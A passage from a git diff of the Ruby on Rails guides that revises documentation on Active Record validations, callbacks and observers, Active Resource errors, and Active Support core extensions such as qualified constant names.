EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index 20f5e52891..15d24f9ac1 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -28,7 +28,7 @@ h4. Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. -There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations: * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. @@ -46,7 +46,7 @@ end We can see how it works by looking at some +rails console+ output: -<shell> +<ruby> >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</shell> +</ruby> Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. @@ -94,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate = h4. +valid?+ and +invalid?+ -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. <ruby> class Person < ActiveRecord::Base @@ -105,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -139,7 +139,7 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. h4(#validations_overview-errors). +errors[]+ @@ -160,7 +160,7 @@ We'll cover validation errors in greater depth in the "Working with Validation E h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. @@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default, If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -428,6 +428,8 @@ class GoodnessValidator < ActiveModel::Validator end </ruby> +NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. + The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. @@ -454,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v <ruby> class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> -The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. +The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. h3. Common Validation Options @@ -580,7 +582,7 @@ Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These <ruby> class MyValidator < ActiveModel::Validator def validate(record) - if record.name.starts_with? 'X' + unless record.name.starts_with? 'X' record.errors[:name] << 'Need a name starting with X please!' end end @@ -597,7 +599,7 @@ The easiest way to add custom validators for validating individual attributes is <ruby> class EmailValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) - unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i record.errors[attribute] << (options[:message] || "is not an email") end end @@ -612,7 +614,7 @@ As shown in the example, you can also combine standard validations with your own h4. Custom Methods -You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. +You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using the +validate+ class method, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. @@ -635,12 +637,24 @@ class Invoice < ActiveRecord::Base end </ruby> +By default such validations will run every time you call +valid?+. It is also possible to control when to run these custom validations by giving an +:on+ option to the +validate+ method, with either: +:create+ or +:update+. + +<ruby> +class Invoice < ActiveRecord::Base + validate :active_customer, :on => :create + + def active_customer + errors.add(:customer_id, "is not active") unless customer.active? + end +end +</ruby> + You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices: <ruby> ActiveRecord::Base.class_eval do def self.validates_as_choice(attr_name, n, options={}) - validates attr_name, :inclusion => { {:in => 1..n}.merge(options) } + validates attr_name, :inclusion => { { :in => 1..n }.merge!(options) } end end </ruby> @@ -657,11 +671,11 @@ h3. Working with Validation Errors In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. -The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods. +The following is a list of the most commonly used methods. Please refer to the +ActiveModel::Errors+ documentation for a list of all the available methods. h4(#working_with_validation_errors-errors). +errors+ -Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors. <ruby> class Person < ActiveRecord::Base @@ -741,7 +755,7 @@ Another way to do this is using +[]=+ setter h4. +errors[:base]+ -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. <ruby> class Person < ActiveRecord::Base @@ -785,7 +799,7 @@ end person = Person.new person.valid? # => false -person.errors.size # => 3 +person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true @@ -794,23 +808,15 @@ person.errors.size # => 0 h3. Displaying Validation Errors in the View -Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. - -h4. Installing as a plugin +"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates. -<shell> -$ rails plugin install git://github.com/joelmoss/dynamic_form.git -</shell> - -h4. Installing as a Gem - -Add this line in your Gemfile: +You can install it as a gem by adding this line to your Gemfile: <ruby> gem "dynamic_form" </ruby> -Now you will have access to these two methods in your view templates. +Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. h4. +error_messages+ and +error_messages_for+ @@ -840,11 +846,13 @@ end <% end %> </erb> -To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: +If you submit the form with empty fields, the result will be similar to the one shown below: !images/error_messages.png(Error messages)! -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. <erb> <%= error_messages_for :product %> @@ -852,7 +860,7 @@ You can also use the +error_messages_for+ helper to display the error messages o The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, <erb> <%= f.error_messages :header_message => "Invalid product!", @@ -860,23 +868,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio :header_tag => :h3 %> </erb> -Which results in the following content: +results in: !images/customized_error_messages.png(Customized error messages)! -If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. +If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. -h4. Customizing the Error Messages CSS +h4(#customizing-error-messages-css). Customizing the Error Messages CSS -The selectors to customize the style of error messages are: +The selectors used to customize the style of error messages are: * +.field_with_errors+ - Style for the form fields and labels with errors. -* +#errorExplanation+ - Style for the +div+ element with the error messages. -* +#errorExplanation h2+ - Style for the header of the +div+ element. -* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list items with individual error messages. +* +#error_explanation+ - Style for the +div+ element with the error messages. +* +#error_explanation h2+ - Style for the header of the +div+ element. +* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. +* +#error_explanation ul li+ - Style for the list items with individual error messages. -Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above. +If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. @@ -889,31 +897,26 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel * A string with the HTML tag * An instance of +ActionView::Helpers::InstanceTag+. -Here is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| - if instance.error_message.kind_of?(Array) - %(#{html_tag}<span class="validation-error"> - #{instance.error_message.join(',')}</span>).html_safe - else - %(#{html_tag}<span class="validation-error"> - #{instance.error_message}</span>).html_safe - end + errors = Array(instance.error_message).join(',') + %(#{html_tag}<span class="validation-error"> #{errors}</span>).html_safe end </ruby> -This will result in something like the following: +The result looks like the following: !images/validation_error_messages.png(Validation error messages)! h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: <ruby> class User < ActiveRecord::Base @@ -930,7 +933,7 @@ class User < ActiveRecord::Base end </ruby> -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: <ruby> class User < ActiveRecord::Base @@ -942,7 +945,7 @@ class User < ActiveRecord::Base end </ruby> -It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. h3. Available Callbacks @@ -953,6 +956,7 @@ h4. Creating an Object * +before_validation+ * +after_validation+ * +before_save+ +* +around_save+ * +before_create+ * +around_create+ * +after_create+ @@ -963,6 +967,7 @@ h4. Updating an Object * +before_validation+ * +after_validation+ * +before_save+ +* +around_save+ * +before_update+ * +around_update+ * +after_update+ @@ -971,8 +976,8 @@ h4. Updating an Object h4. Destroying an Object * +before_destroy+ -* +after_destroy+ * +around_destroy+ +* +after_destroy+ WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed. @@ -982,15 +987,15 @@ The +after_initialize+ callback will be called whenever an Active Record object The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. -The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. +The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks. <ruby> class User < ActiveRecord::Base - def after_initialize + after_initialize do |user| puts "You have initialized an object!" end - def after_find + after_find do |user| puts "You have found an object!" end end @@ -1017,7 +1022,7 @@ The following methods trigger callbacks: * +increment!+ * +save+ * +save!+ -* +save(false)+ +* +save(:validate => false)+ * +toggle!+ * +update+ * +update_attribute+ @@ -1039,7 +1044,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas h3. Skipping Callbacks -Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. * +decrement+ * +decrement_counter+ @@ -1058,13 +1063,13 @@ h3. Halting Execution As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. h3. Relational Callbacks -Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: <ruby> class User < ActiveRecord::Base @@ -1090,11 +1095,11 @@ Post destroyed h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. -h4. Using +:if+ and +:unless+ with a Symbol +h4. Using +:if+ and +:unless+ with a +Symbol+ -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -1104,7 +1109,7 @@ end h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: <ruby> class Order < ActiveRecord::Base @@ -1112,9 +1117,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using +:if+ and +:unless+ with a Proc +h4. Using +:if+ and +:unless+ with a +Proc+ -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: <ruby> class Order < ActiveRecord::Base @@ -1125,7 +1130,7 @@ end h4. Multiple Conditions for Callbacks -When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. +When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: <ruby> class Comment < ActiveRecord::Base @@ -1138,7 +1143,7 @@ h3. Callback Classes Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: <ruby> class PictureFileCallbacks @@ -1150,7 +1155,7 @@ class PictureFileCallbacks end </ruby> -When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: <ruby> class PictureFile < ActiveRecord::Base @@ -1158,7 +1163,7 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: <ruby> class PictureFileCallbacks @@ -1182,16 +1187,25 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. h4. Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. <shell> $ rails generate observer User </shell> +generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: + +<ruby> +class UserObserver < ActiveRecord::Observer +end +</ruby> + +You may now add methods to be called at the desired occasions: + <ruby> class UserObserver < ActiveRecord::Observer def after_create(model) @@ -1207,7 +1221,7 @@ h4. Registering Observers Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :user_observer </ruby> @@ -1215,7 +1229,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi h4. Sharing Observers -By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: <ruby> class MailerObserver < ActiveRecord::Observer @@ -1227,10 +1241,10 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect. +In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :mailer_observer </ruby> @@ -1238,7 +1252,7 @@ h3. Transaction Callbacks There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. <ruby> PictureFile.transaction do diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile index 851aac1a3f..37abb8a640 100644 --- a/railties/guides/source/active_resource_basics.textile +++ b/railties/guides/source/active_resource_basics.textile @@ -71,7 +71,7 @@ person.destroy h3. Validations -Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors. +Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveModel::Errors. h4. Validating client side resources by overriding validation methods in base class diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index d006cc9214..c30902c237 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -177,19 +177,6 @@ end NOTE: Defined in +active_support/core_ext/object/try.rb+. -h4. +singleton_class+ - -The method +singleton_class+ returns the singleton class of the receiver: - -<ruby> -String.singleton_class # => #<Class:String> -String.new.singleton_class # => #<Class:#<String:0x17a1d1c>> -</ruby> - -WARNING: Fixnums and symbols have no singleton classes, +singleton_class+ raises +TypeError+ on them. Moreover, the singleton classes of +nil+, +true+, and +false+, are +NilClass+, +TrueClass+, and +FalseClass+, respectively. - -NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+. - h4. +class_eval(*args, &block)+ You can evaluate code in the context of any object's singleton class using +class_eval+: @@ -296,7 +283,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -389,7 +376,7 @@ NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+. h5. +instance_values+ The method +instance_values+ returns a hash that maps instance variable names without "@" to their -corresponding values. Keys are strings both in Ruby 1.8 and 1.9: +corresponding values. Keys are strings: <ruby> class C @@ -440,14 +427,16 @@ NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+. h4. +in?+ -The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+. +The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+. Examples of +in?+: <ruby> +1.in?(1,2) # => true 1.in?([1,2]) # => true "lo".in?("hello") # => true 25.in?(30..50) # => false +1.in?(1) # => ArgumentError </ruby> NOTE: Defined in +active_support/core_ext/object/inclusion.rb+. @@ -571,7 +560,7 @@ NOTE: Defined in +active_support/core_ext/module/attr_accessor_with_default.rb+. h5. Internal Attributes -When you are defining an attribute in a class that is meant to be subclassed name collisions are a risk. That's remarkably important for libraries. +When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries. Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely. @@ -703,7 +692,8 @@ NOTE: Defined in +active_support/core_ext/module/introspection.rb+. h4. Constants -The method +local_constants+ returns the names of the constants that have been defined in the receiver module: +The method +local_constants+ returns the names of the constants that have been +defined in the receiver module: <ruby> module X @@ -715,39 +705,71 @@ module X end end -X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8 -X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8 +X.local_constants # => [:X1, :X2, :Y] +X::Y.local_constants # => [:Y1, :X1] </ruby> -The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings. - -WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver. +The names are returned as symbols. (The deprecated method +local_constant_names+ returns strings.) NOTE: Defined in +active_support/core_ext/module/introspection.rb+. -h4. Synchronization +h5. Qualified Constant Names + +The standard methods +const_defined?+, +const_get+ , and +const_set+ accept +bare constant names. Active Support extends this API to be able to pass +relative qualified constant names. -The +synchronize+ macro declares a method to be synchronized: +The new methods are +qualified_const_defined?+, +qualified_const_get+, and ++qualified_const_set+. Their arguments are assumed to be qualified constant +names relative to their receiver: <ruby> -class Counter - @@mutex = Mutex.new - attr_reader :value +Object.qualified_const_defined?("Math::PI") # => true +Object.qualified_const_get("Math::PI") # => 3.141592653589793 +Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034 +</ruby> - def initialize - @value = 0 - end +Arguments may be bare constant names: + +<ruby> +Math.qualified_const_get("E") # => 2.718281828459045 +</ruby> + +These methods are analogous to their builtin counterparts. In particular, ++qualified_constant_defined?+ accepts an optional second argument to be +able to say whether you want the predicate to look in the ancestors. +This flag is taken into account for each constant in the expression while +walking down the path. - def incr - @value += 1 # non-atomic +For example, given + +<ruby> +module M + X = 1 +end + +module N + class C + include M end - synchronize :incr, :with => '@@mutex' end </ruby> -The method receives the name of an action, and a +:with+ option with code. The code is evaluated in the context of the receiver each time the method is invoked, and it should evaluate to a +Mutex+ instance or any other object that responds to +synchronize+ and accepts a block. ++qualified_const_defined?+ behaves this way: + +<ruby> +N.qualified_const_defined?("C::X", false) # => false +N.qualified_const_defined?("C::X", true) # => true +N.qualified_const_defined?("C::X") # => true +</ruby> + +As the last example implies, the second argument defaults to true, +as in +const_defined?+. -NOTE: Defined in +active_support/core_ext/module/synchronization.rb+. +For coherence with the builtin methods only relative paths are accepted. +Absolute qualified constant names like +::Math::PI+ raise +NameError+. + +NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+. h4. Reachable @@ -799,7 +821,7 @@ M.name # => "M" N = Module.new N.name # => "N" -Module.new.name # => "" in 1.8, nil in 1.9 +Module.new.name # => nil </ruby> You can check whether a module has a name with the predicate +anonymous?+: @@ -912,18 +934,6 @@ In the previous example the macro generates +avatar_size+ rather than +size+. NOTE: Defined in +active_support/core_ext/module/delegation.rb+ -h4. Method Names - -The builtin methods +instance_methods+ and +methods+ return method names as strings or symbols depending on the Ruby version. Active Support defines +instance_method_names+ and +method_names+ to be equivalent to them, respectively, but always getting strings back. - -For example, +ActionView::Helpers::FormBuilder+ knows this array difference is going to work no matter the Ruby version: - -<ruby> -self.field_helpers = (FormHelper.instance_method_names - ['form_for']) -</ruby> - -NOTE: Defined in +active_support/core_ext/module/method_names.rb+ - h4. Redefining Methods There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are 